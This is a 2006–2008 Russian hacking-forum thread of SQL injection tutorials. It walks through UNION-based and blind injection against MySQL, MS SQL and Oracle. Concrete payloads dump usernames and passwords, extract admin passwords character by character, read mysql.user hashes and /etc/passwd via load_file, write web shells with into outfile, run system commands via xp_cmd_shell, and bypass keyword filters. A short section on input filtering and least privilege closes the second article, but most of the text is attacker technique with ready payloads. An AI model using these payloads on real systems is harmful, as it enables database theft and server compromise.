ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

SQL инъекция (в т.ч. и blind SQL)
  #1  
Старый 29.05.2006, 09:30
Аватар для kot777
kot777
Seo Pozitive
Регистрация: 13.08.2004
Сообщений: 779
Провел на форуме:
5581277

Репутация: 1635


Отправить сообщение для kot777 с помощью ICQ
По умолчанию SQL инъекция (в т.ч. и blind SQL)

Проведение sql-injection на ms sql и mysql серверах
Уязвимости класса sql-injection являются одной из самых актуальных проблем сетевой безопасности, т.к. с помощью подобной атаки проводимой хакером возможно получение паролей пользователей находящихся в базе данных sql сервера. По моим последним наблюдениям до 80% веб ресурсов сети подвержены подобным атакам, это относится и к крупным проектам. Как же защить свой скрипт? Ответ прост - фильтровать данные полученые от пользователя, но к сожалению (а для хакера к счастью) во множестве публичных скриптах, что особенно опасно, этого не наблюдается. Так же проведению атаки взломщику поможет и неправильная настройка сервера, поэтому всегда нужно точно следовать руководству самого производителя ПО. Перед составлением скрипта разработайте собственную архитектуру, например фильтруйте данные перед тем как они понадобятся. Не используйте опасных функций в которые даже после фильтровки идут пользовательские данные к примеру php функция eval в большенстве случаев заменима, но вред который она может принести значителен как и любая php-injection. На этом краткий ввод в безопасность я считаю оконченным, могу лишь добавить что взлом это 99% человеческий фактор - ПО делают люди. Что бы сделать скрипт безопасным проверяйте его всегда сами, чтобы защить сайт от хакера нужно думать как хакер. Теперь попробуем взломать сами себя, чтобы в последствии защить свой сайт и т.д. от хакера.
Ошибки связанные с sql-injection
Здесь я опущу описание взлома через очевидные ошибки возвращаемые сервером. Пусть после подставления ' мы не получили ни одного сообщения об ошибке, сразу скажу что это не значит что ошибок нет - это значит что либо таковы настройки сервера, либо в самом скрипте идет внутрення обработка ошибок уже ПОСЛЕ запроса к sql серверу. Пусть запрос к веб ресурсу xaxa.com выглядит следующим образом http://xaxa.com/index.php?id=5 и при подставновке кавычки в id сервер не сообщает об ошибке sql запроса. Для начала нужно выяснить какой тип действительно передается в базу данных, id=5 не значит что запрос идет с типом int вполне возможно что это строка. Сделаем следующие отправим скрипту id=6 и если возвращается страница отличная от индекса (скорее всего скрипт напишет не найдена страница) то отправим id=6%2d1 и если возвратится тот же самый результат что и при запросе id=5 то уязвимость скорее всего есть. Если нет тогда предположим что передается строка при id=5 так:
select page_title,page_text from pages where page_id='5'
тогда согласитесь что вполне корректным запросом будет select page_title,page_text from pages where page_id='5'+'1', даже если бы там стояли скобки. Из предположения о работе скрипта отправим в качестве id значение равное 5'%2b'1 если возвратится результат такой же что и при запросе id=51 или вылезет много страниц можно считать что уязвимость есть. Теперь попробуем сделать саму инъекцию. Пусть запрос выглядит так:
Код:
select page_title,page_text from pages where (page_id='5')and(page_status>0)
тогда нам нужно подставить такое page_id что бы получился коректный запрос к базе. Попробуем отправить id=5')-- если результатом будет ошибка то возможно запрос подается нев одной строке попробуйте так id=5')/* . Преположим мы добились положительного ответа от сервера, тогда как нам использовать полученый результат? В большенстве случаев потребуется определение версии sql сервера. Наиболее распространнем сейчас является MySQL новых версий в которых добавлено использование оператора UNION. Сделаем следующий запрос:
Код:
select page_title,page_text from pages where (page_id='5')union select null,null/*')and(page_status>0)
этот запрос будет коректен будет возвращен тот же самый запрос что и при запросе с id=5. Теперь подобрав количество столбцов для объеденения подстваим
Код:
id=5')union select 10000%2b1,20000%2b1/*
теперь в исходном коде получившейся страницы попробуем найти строки типа 10001 или 20001 если такие были найдены то это очень облегчит нашу задачу. Теперь пусть на сервере есть таблица пользователями находящияся и в той же базе что и pages. Составим запрос с
Код:
id=5')union select user_name,20000%2b1 from users/*
и если в месте где было 10001 мы увидим строчку с именем пользователя то можно считать инъекцию успешной. Если это не так тогда имя поля с именами пользователей таблицы users подобранно неправильно. Возможн вариант что при ВЫХОДЕ данные фильтруются для проверки такого предположения составим запрос с
Код:
id=5')union select 0x5841,20000%2b1/*
и если в исходном коде страницы будет видно надпись XAXA то никакие проверки на выходе не идут и все хорошо. В противном случае придется использовать "логику запросов". Например в простейшем случае, если выводится число 10001 то сделаем запрос с
Код:
id=5')union select ascii(lawer(substring(user_name,1,1))),20000%2b1 where user_id=1/*
если в полученом коде возвращаемой страницы на месте 10001 бедт стоять число отличное от нуля то инъекция опять таки проведена успешно, таким образом за несколько подобных запросов можно перебрать и пароль и имя любого пользователя. Возможно вариант что числа 10001 не видно в сурсе, что делать тогда? Наилучшем вариантом будет поддержка подзапросов, например
Код:
select page_title,page_text from pages where (page_id='5')and((select ascii(lawer(substring(user_name,1,1))) from users where user_id=1)>100)/*')and(page_status>0)
тогда скрипт выведет что либо только если результат второй скобки обращается в true или первый символ первого пользователя имеет ASCII код больший 100. Таким образом за некоторое количество запросов подобрать имя и пароль пользователя всегда возможно. А что делать если подзапросы данный сервер не поддерживает? Тогда попробуем сосздать следующей запрос к базе данных:
Код:
select page_title,page_text from pages where (page_id='-555')union select pages.page_title,pages.page_text from pages,users where pages.page_id='5' and(ascii(lawer(substring(users.user_name)))>100)and(users.user_id=1)/*')and(page_status>0)
Понятно что первый selec не возвратит в результате null, а второй как раз в качестве двух столбцов возратит тоже что и при id=5 но при дополнительном условии - если первый символ имени пользователя с user_id=1 имеет ASCII код больший 100. Таким образом после такого перебора в конце концов взломщик сможет получить незащищенные данные пользователей вплоть до паролей. Еще одна "хитрость" sql (работает как и в mysq, так и в mssql) пусть нам нужно возвратить для анализа скрипта строку XAXA тогда нам понадобятся кавычки которые могут фильтроваться. Выхода из такой ситуации два функция char, которая в mssql отказывается нормально работать, и использование 16-ти битной кодировки, которую sql понимает как строчку. Второй вариант мне больше подуше и поэтому вот php скрипт возвращающий 16 битное значение строчки:
Код:
<?
echo('0x'.bin2hex($str));
?>
Таким образом вместо 'XAXA' вполне допустимо подставлять 0x58415841. Если же на сервере запущен mssql, то в проведении инъекции обычно не возникает сложностей благодаря возможностям своего синтаксиса, сюда можно отнести и выполнение команд на сервере и реализация подзапросов.
Заключение
Здесь была описана методика внедрения sql кода в запрос скрипта больше описывать бессмысленно т.к. для этго существуют справочники и документации на официальных сайтах mysq, msssql, oracle и т.д. Все сотальные навыки по защите/взломе накапливаются только с опытом и собственными исследованиями.
Статья написана ZaCo специально для kot777, m0nzt3r и раздела Безопасность WEB - приложений.
Продолжение следует...
__________________
ICQ 328498627

Хочешь Элитный OpenVPN за 10 у.е ?

Последний раз редактировалось kot777; 29.05.2006 в 09:35..
 

Продолжение
  #2  
Старый 09.06.2006, 10:01
Аватар для kot777
kot777
Seo Pozitive
Регистрация: 13.08.2004
Сообщений: 779
Провел на форуме:
5581277

Репутация: 1635


Отправить сообщение для kot777 с помощью ICQ
По умолчанию Продолжение

Логика построения SQL-inj запросов.
Здравствуйте!
Эта статья посвящена способам защиты баз данных под управлением sql сервера. Для начала определимся что же такое база даных? На самом деле это просто
файл или обьеденение файлов, который содержит в себе различные таблицы, записи и тд. База данных- это объединение таблиц, таблица - объединение записей,
а запись - полей. Поле - важнейшая "единица" базы данных; в нем могут храниться значения различных типов. Не стоит забывать, что в базе данных хранятся
не только сообщения ленты новостей, но так же и пароли от кошельков, почтовых ящиков и тд. Атаки на базы данных с помощью внедрения своего запроса отнесли
к специальному классу - sql-injection. Что подразумевает внедрение "зловредного" кода в запрос, отсылаемый, например, скриптом к sql серверу (например mysql).
В этой статье не будет "зацикливания" на определенных видах субд (система управления базами данных), просто логика построения sql запросов, которые будут
выполняться во всех современных sql субд с незначительными изменениями.

Логика запроса.

Очевидно, что для того чтобы уметь защищать свои базы, нужно мыслить как взломщик, поэтому мы попытаемся "взломать" сами себя.
Для начала нужно убедиться в том, что переменные, отправляемые клиентом серверу, впоследствии передаются именно в sql запрос,
тем самым давая возможность для проведения инъекции. Пусть, например, на первой страничке сайта имеется форма авторизации пользователя:

Код:
+--------------------+
|Ваше имя на сайте : |
|Ваш пароль        : |
+--------------------+
Взломщику требуется пароль от юзера с логином admin, тогда представим себе примерную работу скрипта (примеры на пхп), отсылающего введенные данные на sql
сервер.

Код:
$username=$_POST["username"];
$password=$_POST["password"];
sql_function("select user_ip,image,email,web from users where name="".$username."" and passwd="".$password.""")
sql_function - придуманная функция, отсылающая введенное имя пользователя - username и пароль - password. Запрос дожен вытащить ип и
картинку (юзера) с такими логином и паролем.
Как можно заметить, никаких проверок на правильность введенных значений просто нет. Что же делает взломщик? Пусть ему нужно узнать email жертвы, тогда sql
сервер не будет против такого запроса:

"select user_ip,image,email,web from users where name="admin"/* and passwd="123456""

"/*" - это комментарии распространяющиеся от начала и до конца запроса, аналогом может служить "#" или "--" - до конца строки запроса.
К слову сказать запрос в MYSQL с "/*" без закрывающей части "*/" будет обрабатываться коректно, тогда как MS SQL например будет требовать "*/".
Пусть в скрипте присутствует "фильтрация", тогда введем в поле имени следующее значение:

Код:
""or "1"="1"
Заметим, что такой запрос также будет верным: первая кавычка закроет значение имени, а последнюю закроет кавычка передаваемая самим скриптом. Возможно
запрос сложнее, и так сразу эксплуатировать уязвимость не удасться, поэтому для начала достаточно будет определить лишь сам факт наличия. Так как очевидно,
что передается строковая переменная, то введем в поле логина следующее значение:

Код:
xa"+"xa"
причем пусть пользователь xaxa зарегестрирован на сайте и имеет пароль lala, тогда запрос будет корректным, и если кавычки не экранируются, то сервер
возвратит данные для пользователя xaxa, что подтвердит наличие уязвимости. Но случай приведенный здесь слишком тривиален, поэтому разберем ещё парочку
интересных вариантов. Для начала ознакомимся с четырьмя функциями MySQL (их аналоги в MS SQL и прочих субд можно найти на сайте sql.ru):

1) substring(str,begin,length) - возвращает подстроку str, начиная с begin символа по счету длиной численно равной length.
2) ascii(char) - возвращает ASCII код символа char
3) lower(str) - возвращает строку str, в которой все символы приведены к нижнему регистру
4) CHAR_LENGTH(str) - возвращает длину str

Пусть на сайте существует поиск юзера по нику или полу, по имени или фотографии и тд. Рассмотрим, например, какой-нибудь сайт знакомств. Вполне разумно
будет предположить, что поиск ведется по таблице типа users, в которой очевидно сожержаться пароли.

Код:
+--------------------+
|Поиск по имени:     |
+--------------------+
Введем например "Саша", тогда в ответ мы получим список пользователей с именем Саша. Теперь попробуем ввести знакомую конструкцию

Код:
саш"+"а
Если фильтрация отсутствует, то запрос будет корректен, и мы получим тот же список. Теперь введем

Код:
саша" and "1"="1
Если никаких дополнительных скобок не будет, то запрос будет правилен, и мы получим опять тот же самый список (тк логическое условие сохраняется).
Попробуем провести полноценную инъекцию

Код:
саша" and passwd="123" and "1"="1
если же столбец passwd действительно существует, то в списке очевидно будут присутствовать только те имена пользователей, чьи пароли "123".
Обычно взломщику записи по паролям не нужны, поэтому введем в поле поиска

Код:
admin" and ascii(substring(passwd,1,1))>100 and "1"="1
Таким образом, мы получим (скорее всего одну) запись при выполнении условия, то есть если первый символ пароля имеет код больший ста, то мы увидим найденное
имя "admin", в противном случае скрипт напишет : "ничего не найдено". Аналогично можно получить весь пароль администратора. Сейчас уже редко пароли
хранятся в открытом виде, поэтому для определения "типа" хеша можно попробовать функцию например md5().

Инъекции в "числовых" переменных.

Пусть переменная имеет вид id=47893. Можно предположить, что в sql запросе передается именно число, а не строка. Тогда попробуем подставить

Код:
47892+1
Если результат будет аналогичен тому, что возвращается при id=47893, то можно признать факт наличия уязвимости. Следует понимать, что подставлять нужно не
только "1" так как иногда скрипты работают не "очевидно"+) Пусть пока никакой уязвимости не найденно, тогда подставим

Код:
47893 and(1=1)
Если рузультат тот же, то подставим

Код:
47893 and(1=2)
Если результаты не совпадают, то уязвимость определенно есть. Многие скрипты обрамляют условия в операторе WHERE скобками, поэтому можно попробовать
подставить например

Код:
47893)and(1=1
последнюю кавычку закроет сам скрипт и результат выполнения будет аналогичен тому же что и подстановке:

Код:
47893
Использование оператора UNION.

Инъекции с использованием UNION пожалуй стандарт проведения sql-inj. Он используется в связке с оператором SELECT. Применяется Union для объеденения двух,
а может и более запросов. В mySQL его поддержка введена, начиная с четвертой версии. Пример

Код:
select id,name from users union select 10,"xaxa" from news
В итоге мы получим тот же результат, что и без

Код:
union select 10,"xaxa" from news
а в конце будет просто добавлено 10 "xaxa". Вместо 10 или "xaxa" можно написать имя столбца соответствующего типа. В последнем операторе select часть
"from table" можно опустить. У оператора UNION всего два требования - соответствие по типам от предыдущего select, то есть в нашем примере id имеет тип
int и 10 имеет такой же тип, name - строка и "xaxa" - строка и количество соответствующих столбцов должно быть одинаково. Надеюсь, вы уже заметили выгоду
использования UNION. Пусть первоначальный запрос выглядит так

Код:
select news_id,message from news where id=47893
Если вывод сведений об ошибке sql запроса не выводится, то эффективнее поступать так: найти любое доступное имя таблицы, а потом задать следующий запрос

Код:
select news_id,message from news where id=47893 union select null from lala
как же найти lala? Легче всего установить имя талицы из которой происходит первоначальная выборка данных. Для этого задаим следующий запрос

Код:
select news_id,message from news where id=47893 or id=47893
Если запрос выполнится успешно, то это говорит о существовании столбца id. Теперь найдем талицу

Код:
select news_id,message from news where id=47893 or news.id=47893
Если результат будет аналогичен предыдущему, то news действительно существует.
Так как мы не знаем реальные типы столбцов, то следующий запрос будет корректно обрабатываться как сервером sql, так и скриптом, который будем оперировать с
результатом

Код:
select news_id,message from news where id=47893 union select null,null from news where 1=2
Напомню null - специальный тип данных, в котором хранят "отсутствующие" значения. В результате выполнения этого запроса мы получим то же ,что и без части
с UNION (тк 1<>2). Если же ошибка все же присутствует, то это говорит лишь о том, что эта версия не поддерживает UNION или колличество столбцов не
соответствует реальному. Перебрав количество столбцов зададим следующий запрос

Код:
select news_id,message from news where id=-47893 union select name,passwd from users
Обратите внимание на минус, это значит, что первый SELECT возвратит нулевое количество записей, то есть в результате будут только записи из второго
SELECT. Но как вы наверное заметили news_id имеет тип int, а name очевидно строка, в таком случае, в зависимости от sql сервера имен пользователей мы не
увидим или будет ошибка несоответствия типов. Тогда придется вести перебор типов. Если результат не будет сожержать ошибки, например

Код:
select news_id,message from news where id=-47893 union select 100+1,passwd from users
то в результате должна присутствовать запись с полем, значением которо является 101=100+1. Как же получить имена юзеров не исбавляясь от паролей? Тут нам
поможет ещё одна стандартная функция mySQL:

1)concat(str1,str2,str3,..) - "склеивает" строки str1,str2,str3 и тд, и возвращет полученный результат.

А теперь зададим следующий запрос

Код:
select news_id,message from news where id=-47893 union select 1,concat(name,":",passwd) from users
Результат будет содержать записи вида

Код:
name:pass
Такой запрос для большой бд будет выполняться очень долго, поэтому удобно использовать оператор LIMIT

Код:
select news_id,message from news where id=-47893 union select 1,concat(name,":",passwd) from users limit 3000,1000
в итоге получим 1000 (или меньше, в зависимости от общего количества) записей начиная с 3000"ой по счету.
Все бы хорошо но попадаются версии MySQL без поддержки UNION. Как быстро определить версию сервера? Для этого существует полезная функция version().
А вот ещё немного:

Код:
1)DATABASE() - возвращает имя текущей бд, в MS SQL это BD_NAME()
2)USER(),SYSTEM_USER(),SESSION_USER() - возвращают имя текущего пользователя, аналогично USER() в MS SQL
Использование подзапросов.

В раних версиях mySQL оператора UNION не существовало, но была красивая замена - подзапросы. Что же означает строка следующего вида

Код:
select id from users limit 1
В принципе это и есть подзапрос, но в непривычной форме. Пусть есть обычный запрос

Код:
select news_id,message from news where id=1
И значение id мы можем менять, тогда запрос, в соответствующей версии сервера sql, будет корректен

Код:
select news_id,message from news where id=(select id from users where name="admin")
Основными условиями использования подзапроса является то, что выбираться должен только один столбец и возвращаемая запись должна быть так же одна.
С логической точки зрения это действительно правильно. Теперь применим накопившиеся знания на практике

Код:
select news_id,message from news where id=47893 and (select ascii(substring(passwd,1,1)) from users where name="admin")>100
Таким перебором можно получить весь пароль администратора.

Использование раздельных запросов.

Конечно большинство запросов отсылаемых скриптом серверу идут непосредственно в операторе SELECT, но кроме него существуют операторы update, delete и тд.
Так как MySQL раздельные запросы (то есть через разделяя весь запрос ";" за один раз сервер способен обработать несколько запросов) не поддерживает,
то инъекцию можно провести только при поддержке подзапросов. Например так:

Код:
update users set user_sig=(select passwd from users where id=1) where id=893
Теперь посмотрим, как использовать раздельные запросы, если первоначальный запрос идет не в операторе UPDATE, а в каком-то другом

Код:
select news_id,message from users where id=47893;update users set user_sig=(select passwd from users where id=1) where id=893
Но перед этим нужно убедиться что sql сервер действительно поддерживает эту возможность, для этого можно составить запрос примерно такой

Код:
select news_id,message from users where id=47893;create table lala(xxx int)
И далее

Код:
select news_id,message from users where id=(select 1 from lala)
Если запрос пройдет без ошибок, то понятно, что пользователь "lala" существует, а это значит, что раздельные запросы поддерживаются.

"Полезные" запросы.

Несомненно SELECT идеальный вариант, но как же определить, что запрос идет непосредственно в SELECT? Для этого можно попробовать вставить в конец запроса
LIMIT. Отсутствие ошибки будет говорить о том, что сервер во-первых работает на MySQL (так например LIMIT - это не стандарт sql) и конечно о том, что там
действительно SELECT. Если же это не MySQL то попробуйте подставить предложение "GROUP BY 1" или "HAVING 1=1" - стандарт sql и работает только в операторе
SELECT. Этих двух способов вполне достаточно для выявления "типа" запроса. А теперь представьте, что имеется факт наличия инъекции и уязвимый параметр
передается sql серверу в операторе SELECT, казалось бы все идеально, но даже с поддржкой UNION в некотрых скриптах провести полноценную инъекцию бывает
тяжело. Пусть скрипт получает от sql сервера записи и дальше оперирует с ними до вывода, причем это "оперирование" может быть достаточно сложным. Например,
пусть в конечном итоге скрипт должен получить запись содержащую дату и выделить из неё месяц и т.п. Но если вы не подобрали какую нибудь существующую
таблицу (тогда можно вставить в конец предложение where 1=2 и эта строка просто не выведится), то простой перебор типа

Код:
...union select null,null,null
может привести к ошибке, ещё хуже если она будет невидимой, даже если количество null"ов и количество столбцов в первоначальном select одинаково! Можно
долго пытаться угадать где возвращется дата или какой нибудь типа данных. Куда легче сначала точно определить количество столбцов в первоначальном select
и уже потом довести инъекцию до конца. Для этого очень удобно использовать следующую особенность оператора ORDER BY, дело в следующем, синтаксис его таков,
что упорядочивать строки запроса можно только по тем столбцам которые передаются в select, причем имя столбца можно заменить его порядком в запросе.
Другими словами, пусть есть запрос:

Код:
select news_id,message,autor from news where news_id=333 order by lala
тогда lala может принимать значение news_id,mewssage или autor, или 1,2 или 3. Даже если таблица news содержит ещё столбцы не входящие в select их передавать
в lala Нельзя - это вызовет ошибку. Таким образом можно довольно просто подобрать количество всех столбцов так:

Код:
select news_id,message,autor from news where news_id=333 order by 2
Далее 3, а на значении 4 в ответе мы увидим ошибку, это говорим о том, что столбец с номером 4 в select отсутствует, то есть их общее количество равно 4-1=3.
В дополнение хочеться сказать, что такой метод наиболее оптимален почти по всем параметрам, по сравннию с простым перебором null"ов. Так как,
если в операторе select уже присутствует предложение order by, то добавить конструкцию union select не удасться - т.к. этого не позволяет синтаксис.
ПОэтому если добавить к запросу order by не удается (будет сообщение об ошибке или результат будет пустым), то это уже говорит о невозможности
использования union, и бесконечно беребирать количество столбцов уже не нужно. А если в первом select уже был group by это не помешает добавить
order by и впоследствии, даже, union. Если же количество столбцов подобрано верно, то есть, нашли максимальный номер столбца ORDER BY MAX_Number и в
тоже время вставка union select 1,2,..,Max_Number не срабатывает это говорит о том, что в скрипте (уязвимой приложении) идет два или более запросов
с уязвимым параметром содержащим РАЗНОЕ количество столбцов в select (возможно там будет вообще не select), тогда провести sql-injection с помощью
UNION не удасться, но можно попробовать использовать раздельные запросы.

Иногда взломщик может взять нужные ему данные из таблицы даже когда нет поддержки ни UNION, ни подзапросов. Пусть имеется простейший запрос:

Код:
select news_id,message from news where news_id=333
Тогда, если значение передаваемое в news_id не фильтруется, можно получить доступные таблицы так:

Код:
select news_id,message from news where news_id=333 natural left join mysql.user
В случае результата схожего с предыдущем или отсутствием ошибок можно говорить, что таблица mysql.user доступна и в дальнейшем из неё можно
получить нужные данные так:

Код:
select news_id,message from news where news_id=333 natural left join mysql.user where user="root" and ascii(substring(password,1,1))=111
Аналогичным перебором можно получить весь пароль и подключиться к баз данных под root.

Обход экранизации кавычек в запросе.

Иногда скрипт все же экранирует спецсимволы, например только кавычки. Но это "препядствие" так же можно обойти. Будь то mssql или
PostgresSQL c помощью любимой поисковой машины аналоги функций описываемых здесь или языковых конструкций всегда можно найти. В MySQL и MS SQL есть
очень интерсная особенность, а именно представление строк в 16-ом формате. Тоесть

Код:
select 0x78617861
Вернет нам строку "xaxa". Для того чтобы обычную строку быстро перевести в 16-и битное представление можно применить такой простой скрипт на php

Код:
<?echo("0x".bin2hex("xaxa"))?>
Аналогом в MySQL может служить функция:

1)char(c1,c2,c2,..) - возвращает строку состоящую из символов с ASCII кодами c1,c2,c3...

Возможно взломщику потребуется получить сообщение об ошибке, чтобы определить версию\пути и тд Тогда при удачной передаче в запрос символа нулевого байта \x0 сервер ответит ошибкой.
Технические особенности

Основное направление применения атак класса sql-injecton конечно получение информации из баз данных, но в связи с разнообразием различных субд и
специфических функций для них, существует возможность поднять свои привелегиии в системе не только на уровне самой базы данных, но и в целом.
Так, например, можно создать\прочитать файл на сервере, выполнять команды в системе и т.д. Выходом за пределы выполнения команд только в БД является
неправильная настройка сервера и распределение прав.
1) MySQL:
Имея на руках инъекцию, и имея определенные права можно "достать" хеш пароля пользователя с правами file из таблицы mysql.user, далее
восстановить пароль к хешу и попробовать подключиться к удаленному sql серверу. Пример:
__________________
ICQ 328498627

Хочешь Элитный OpenVPN за 10 у.е ?
 

  #3  
Старый 09.06.2006, 10:02
Аватар для kot777
kot777
Seo Pozitive
Регистрация: 13.08.2004
Сообщений: 779
Провел на форуме:
5581277

Репутация: 1635


Отправить сообщение для kot777 с помощью ICQ
По умолчанию

Код:
select user,password,file_priv from user
user - имя пользователя,
passsword - 256 битный хеш пароля пользователя, начиная с версии 4.1 - хеш 640 битный. Столбец password, из соображений безопасности хранит ТОЛЬКО
хеш.
file_priv - опция отвечает за то, что пользователь имеет привелегию file.
Если это удастся, опять таки из-хза неправильной настройки сервера,
то помимо любых операций с доступной базой данных, взломщик получает возможность чтения любого файла в системе, доступного для самого mysql сервера.
Для этого можно использовать функцию load_file("ПОЛНОЕ ПУТЬ К ФАЙЛУ"). При достаточных правах она возвратит содержимое файла (если файл отсутствует,
или на его чтение у mysql нет прав, в ответе будет ошибка), в противном случае функция возвращает null. Если вывод сообщений об ошибках отсутствует,
то можно поступить так:

Код:
select if(load_file("blalala") is null,1,2);
Если в ответе будет 1, то это означает о невозможности использования load_file().
С ещё большим успехом можно применить конструкцию select * into outfile "ПОЛНЫЙ ПУТЬ К СОЗДАВАЕМОМУ ФАЙЛУ", которая срабатывает очень редко -
для этого нужно иметь привелегии root. Так можно получить например веб-шелл.
В отличии от других субд, MySQL, до версии 5, не позволяло получить доступ к именам таблиц и столбцов в определенной БД, тогда как в MS SQL,
например, это делалось возможным благодаря представлениям INFORMATION_SCHEMA.TABLES и INFORMATION_SCHEMA.COLUMNS.
В новой версии MySQL 5 появилась возможность доступа к системной базе INFORMATION_SCHEMA. Другими словами, теперь, определив версию sql сервера
с помощью функции version() или подключившись на 3306 порт (по-умолчанию), можно не подбирать имена таблиц/столбцов наугад, а с помощью таблицы
INFORMATION_SCHEMA.COLUMNS получить имена ВСЕХ доступных таблиц и соответствующих столбцов, так:

Код:
 SELECT TABLE_SCHEMA,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="ИМЯ";
Далее, может оказаться, что таблица с интересующем нас именем находится в другой базе, имя которой мы не знаем, получить его можно так:

Код:
SELECT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME="ИМЯ";
Иногда, может оказаться так, что база данных использует не стандартную кодировку для хранения строк, для преобразования в нужный формат
используйте функцию cщтмуке(), для приведения кодировок и типов:
1) convert(lala,TYPE), TYPE - любой из стандартных типов MySQL : INTEGER, varchar и т.д.
2) convert("stroka" using cp1251) - возвратит строку "stroka" в нужно вам кодировке.
Если есть доступ к таблице mysql.user или взломщик уже имеет пароль (пароль к хешу востановлен) нужного ему пользователя он может подключиться
любым mysql клиентом к вашей базе, конечно если это позволяют привилегии. Самым главным препядствием к подключению является адрес клиента, маска
доступных к подключению адресов хранится в столбце таблицы mysql.user host. Символ % означает любую последовательность символов, то есть
host="%.mail.ru" позволит подключится к базе только если клиент находится на любом домене mail.ru, включая его самого. Таким образом чтобы иметь
полный доступ к базе с любого удаленного адреса поле host для данного пользователя должно иметь значение "%". В противном случае взломщику
потребуется доступ к серверу адрес которого удовлетворяет маске или же на уязвимом сервере должна быть утилита типа phpmyadmin.

2) MS SQL
Доступны представления INFORMATION_SCHEMA.COLUMNS и INFORMATION_SCHEMA.TABLES, про применения см 1
Поддержка раздленых запросов существенно упрощает жизнь взломщику, достаточно поставить ;КОД--
Имея определенные права вы можете выполнять команды на сервере так:

Код:
exec master..xp_cmd_shell "dir>ФАЙЛ"
Можно прочитать файл так:

Код:
create table test(lala varchar(3000));bulk insert test from "c:/windows/ФАЙЛ"
Затем, можно получить содержмое файла:

Код:
select lala from test;drop table test
Оператор drop уничтожит ранее созданную таблицу.
Бывает так, что веб программисты защищают сервер проверкой на наличие слов типа UNION, SELECT и т.п. Но выолнить комманду это не мешает:

Код:
;exec ("UPDA"+"TE users"+"SET password=123456")
Если уязвимый скрипт выводит сообщение об ошибке, то это сильно упрощает дело взломщику, например:

Код:
select news_id from news where id=333 union select name from users
Если news_id имеет тип INT, То это вызовет сообщение об ошибке т.к. name будет иметь другой тип, например varchar. Вследствии чего,
в ошибке будет содержаться информация о невозможности приведения строки "admin_login" к целому типу. Так, можно получить и пароль любого
пользователя. В противном случае, если вывод сообщений об ошибках отсутствует, придется перебирать коды символов имени администратора.
Допустимо применение функции convert().

3) Oracle
Конкатенцаия строк "stroka1"||"stroka2".
Во отличии от предыдущих серверов баз данных конструкция select columnname; недопустима - нужно обязательно укзаывать имя таблицы.
Существует метатаблица ALL_TAB_COLUMNS, в которой основные поля: owner, table_name, column_name, data_type.
Вместо TOP в MSSQL, и LIMIT в MySQL используется конструкция where rownum = 1 или in (1,2).

Обеспечение собственной безопасности

Теперь остался самый главный вопрос - как же защитить сервер от sql-injection? Ответ прост - фильтровать все переменные приходящие от клиента,
конкретнее - проверять все начиная от значений передаваемых по методу GET кончая проверкой cookies. Например, если пердается число, то мы никого
не обидем если сразу сделаем преобразование intval(), а если строка, то достаточно вырезать ' и " при обычном сравнении и дополнительно _,% при работе например с предложением Like или в любых других, использующих спец символы. Не следует забывать и про опасность нулевого байта в запросе - его так же нужно фильтровать. Ну и конечно не ставить простых администраторских
паролей, но это уже к теме не относится. Ставить привелегии только при необходимости, для каждой части выделять отдельную БД. Очень полезно хранить
пароли в зашифрованном виде, например в md5. Также правильная архитектура проекта поможет избежать взлома, сделайте отдельный модуль отвечающий за
безопасность, фильтруйте данные до того как они попадут в функцию отправки sql запроса и тогда 95% безопасности будет обеспечено.

Заключение

К сожалению в этой статье сожержится чрезвычайно мало информации, многое мыслей осталось у меня в голове, поэтому эта статья будет по мере
возможностей пополняться. Все свои замечания и предложения на zaco@yandex.ru.
При подготовке статьи были использованны материалы :
http://mysql.ru
http://sql.ru
podkashey

(c) ZaCo
__________________
ICQ 328498627

Хочешь Элитный OpenVPN за 10 у.е ?
 

SQL инъекция (в т.ч. и blind SQL): Работа с инъекциями в MySQL третьей версии.
  #4  
Старый 17.01.2008, 17:10
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию SQL инъекция (в т.ч. и blind SQL): Работа с инъекциями в MySQL третьей версии.

Работа с инъекциями в MySQL третьей версии.

Предполагается что у вас есть некоторые знания синтаксиса SQL, а также опыт работы со слепыми инъекциями.

Достаточно часто встречаюсь с тем что после того как люди узнают что имеют дело с инъекцией в скриптах, использующих мускул 3 версии, говорят что то типа: "тут нет смысла пытаться", или "это безнадежно".
Но это далеко не так!


Что можно сделать:

1. Посимвольно читать файл.
2. Использовать вывод результата запроса в файл для прямого залития шелла.
3. Получать данные из таблицы, используемой в запросе в котором вы нашли SQL инъекцию.

*Все действия требуют наличия определенных условий, более подбробно это расписано ниже.

1. Посимвольное чтение файлов.

Т.к. в этой версии MySQL нету ни подзапросов, ни оператора объединения запросов union`а, то получать данные из других таблиц нельзя.
Но никто не мешает выводить данные возвращаемые различными функциями: version(), user(), database(), load_file().


Остановимся на функции load_file(), которая выводит содержимое указанного файла.
Для её использования не обходимо что бы текущий пользователь БД обладал соответствующей привилегией (File_priv = Y).


Получаем данные из функций как и обычно в случаях слепых инъекций - посимвольно:

Код:
index.php?id=1'+and+ascii(substring(load_file('/etc/passwd'),1,1))>127/*
index.php?id=1'+and+ascii(substring(load_file('/etc/passwd'),1,1))>63/*
и т.д. нового тут ничего нет.
Конечно с читалкой файлов далеко не уедешь, но можно:

1) Попбробывать получить содержимое файла с подключением к БД, к примеру что бы залогинится в phpmyadmin`е (если такой имеется на сайте).
2) Найти пароль от админке или директории (при условии что пароль лежит в каком то файле).
3) Изучить исходники сайта (всё таки искать уязвимости имея на руках исходники гораздо проще).
Описывать дальше не имеет смысла, т.к. всё зависит от конкретной ситуации.


Скорость и рациональность чтения файла посимвольно:

Наверное многие ужаснутся от идеи читать файл посимвольно (кстати, а такое может быть не оьбходимо не только когда версия БД = 3, но и в других случая слепых инъекций (к примеру в 4 версии достать имя префикса из файла конфигурации, когда он отличен от стандартного)).
Но если других вариантов нету, то ничего не поделаешь - лучше что то, чем ничего.


